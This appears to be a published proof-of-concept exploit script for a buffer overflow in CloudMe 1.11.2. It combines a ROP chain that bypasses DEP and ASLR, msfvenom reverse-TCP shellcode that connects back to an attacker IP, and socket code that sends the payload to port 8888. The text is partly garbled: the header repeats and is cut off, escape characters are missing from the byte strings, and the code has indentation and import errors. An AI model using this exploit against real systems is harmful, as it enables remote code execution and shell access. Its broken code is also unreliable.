# Exploit Title: CloudMe 1.11.2 - SEH/DEP/ASLR Buffer Overflow
# Date: 2020-05-20
# Exploit Author: Xenofon Vassilakopoulos
# Vendor Homepage: https://www.cloudme.com/en
# S
# Exploit Title: CloudMe 1.11.2 - SEH/DEP/ASLR Buffer Overflow
# Date: 2020-05-20
# Exploit Author: Xenofon Vassilakopoulos
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 7 Professional x86 SP1

# Steps to reproduce:
# 1. On your local machine start the CloudMe service.
# 2. change the reverse tcp shellcode using the IP and Port of your host using the following command
# msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> EXITFUNC=thread -b "x00x0dx0a" -f python
# 3. Run the python script.


import struct
import socket

target = "127.0.0.1"

########################################################################

# Get kernel32 address from the stack
# 0022ff8c 77883c45 kernel32!BaseThreadInitThunk+0xe

rop = struct.pack('L',0x699012c9) # POP EBP # RETN [Qt5Network.dll]
rop+= struct.pack('L',0x0385FF88) # Offset
rop+= struct.pack('L',0x68a9559e) # XCHG EAX,EBP # RETN [Qt5Core.dll]
rop+= struct.pack('L',0x68ae4fe3) # POP ECX # RETN [Qt5Core.dll]
rop+= struct.pack('L',0x0362fffc) # Offset
rop+= struct.pack('L',0x68ad422b) # SUB EAX,ECX # RETN [Qt5Core.dll]
rop+= struct.pack('L',0x68ae8a22) # MOV EAX,DWORD PTR [EAX] # RETN [Qt5Core.dll]

# Calculate VirtualProtect relative to the leaked kernel32 address

rop+= struct.pack('L',0x68a812c9) # POP EBP # RETN [Qt5Core.dll]
rop+= struct.pack('L',0xfffae493) # Offset
rop+= struct.pack('L',0x61ba8137) # ADD EAX,EBP # RETN [Qt5Gui.dll]

########################################################################

# Setup VirtualProtect

# edi
rop+= struct.pack('L',0x6d9c23ab) # POP EDI # RETN [Qt5Sql.dll]
rop+= struct.pack('L',0x6d9c1011) # RETN (ROP NOP) [Qt5Sql.dll]

# esi
rop+= struct.pack('L',0x61b63b3c) # XCHG EAX, ESI # RETN # ptr to virtualprotect

# edx
rop+= struct.pack('L',0x68d327ff) # POP EAX # POP ECX # RETN [Qt5Core.dll]
rop+= struct.pack('L',0xffffffc0) # Value to negate, will become 0x00000040
rop+= struct.pack('L',0x41414141) # Filler
rop+= struct.pack('L',0x68cef5b2) # NEG EAX # RETN [Qt5Core.dll]
rop+= struct.pack('L',0x68b1df17) # XCHG EAX,EDX # RETN [Qt5Core.dll]

# ebx
rop+= struct.pack('L',0x68ae7ee3) # POP EAX # RETN [Qt5Core.dll]
rop+= struct.pack('L',0xfffffdff) # Value to negate, will become 0x00000201
rop+= struct.pack('L',0x6d9e431a) # NEG EAX # RETN [Qt5Sql.dll]
rop+= struct.pack('L',0x68aad07c) # XCHG EAX,EBX # RETN [Qt5Core.dll]

# ebp
rop+= struct.pack('L',0x6d9c12c9) # POP EBP # RETN [Qt5Sql.dll]
rop+= struct.pack('L',0x6d9c12c9) # skip 4 bytes

# eax & ecx
rop+= struct.pack('L',0x6fe4dc57) # POP EAX # POP ECX # RETN [libstdc++-6.dll]
rop+= struct.pack('L',0x90909090) # NOP
rop+= struct.pack('L',0x68ee6b16) # &Writable location [Qt5Core.dll]

# push registers to stack
rop+= struct.pack('L',0x68ef1b07) # PUSHAD # RETN [Qt5Core.dll]

rop+= struct.pack('L',0x64b4d6cd) # JMP ESP [libwinpthread-1.dll]


#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.6 LPORT=443 EXITFUNC=thread -b "x00x0dx0a" -f python
buf = b""
buf += b"xbfxa4x90x9dx67xd9xc7xd9x74x24xf4x5ax31"
buf += b"xc9xb1x52x31x7ax12x83xc2x04x03xdex9ex7f"
buf += b"x92xe2x77xfdx5dx1ax88x62xd7xffxb9xa2x83"
buf += b"x74xe9x12xc7xd8x06xd8x85xc8x9dxacx01xff"
buf += b"x16x1ax74xcexa7x37x44x51x24x4ax99xb1x15"
buf += b"x85xecxb0x52xf8x1dxe0x0bx76xb3x14x3fxc2"
buf += b"x08x9fx73xc2x08x7cxc3xe5x39xd3x5fxbcx99"
buf += b"xd2x8cxb4x93xccxd1xf1x6ax67x21x8dx6cxa1"
buf += b"x7bx6exc2x8cxb3x9dx1axc9x74x7ex69x23x87"
buf += b"x03x6axf0xf5xdfxffxe2x5exabx58xcex5fx78"
buf += b"x3ex85x6cx35x34xc1x70xc8x99x7ax8cx41x1c"
buf += b"xacx04x11x3bx68x4cxc1x22x29x28xa4x5bx29"
buf += b"x93x19xfex22x3ex4dx73x69x57xa2xbex91xa7"
buf += b"xacxc9xe2x95x73x62x6cx96xfcxacx6bxd9xd6"
buf += b"x09xe3x24xd9x69x2axe3x8dx39x44xc2xadxd1"
buf += b"x94xebx7bx75xc4x43xd4x36xb4x23x84xdexde"
buf += b"xabxfbxffxe1x61x94x6ax18xe2x5bxc2x23xf4"
buf += b"x33x11x23xf9x78x9cxc5x93x6exc9x5ex0cx16"
buf += b"x50x14xadxd7x4ex51xedx5cx7dxa6xa0x94x08"
buf += b"xb4x55x55x47xe6xf0x6ax7dx8ex9fxf9x1ax4e"
buf += b"xe9xe1xb4x19xbexd4xccxcfx52x4ex67xedxae"
buf += b"x16x40xb5x74xebx4fx34xf8x57x74x26xc4x58"
buf += b"x30x12x98x0exeexccx5exf9x40xa6x08x56x0b"
buf += b"x2exccx94x8cx28xd1xf0x7axd4x60xadx3axeb"
buf += b"x4dx39xcbx94xb3xd9x34x4fx70xf9xd6x45x8d"
buf += b"x92x4ex0cx2cxffx70xfbx73x06xf3x09x0cxfd"
buf += b"xebx78x09xb9xabx91x63xd2x59x95xd0xd3x4b"

##########

junk1 = "x41"*1604

nops = "x90"*16

junk2 = "C"*(2236 - len(nops) - len(buf) - len(rop) - len(junk1))

seh = struct.pack('L',0x6998fb2e) # ADD ESP,76C # POP EBX # POP ESI # POP EDI # POP EBP # RETN [Qt5Network.dll]

payload = junk1 + rop + nops + buf + junk2 + seh

try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload)
except Exception as e:
print(sys.exc_value)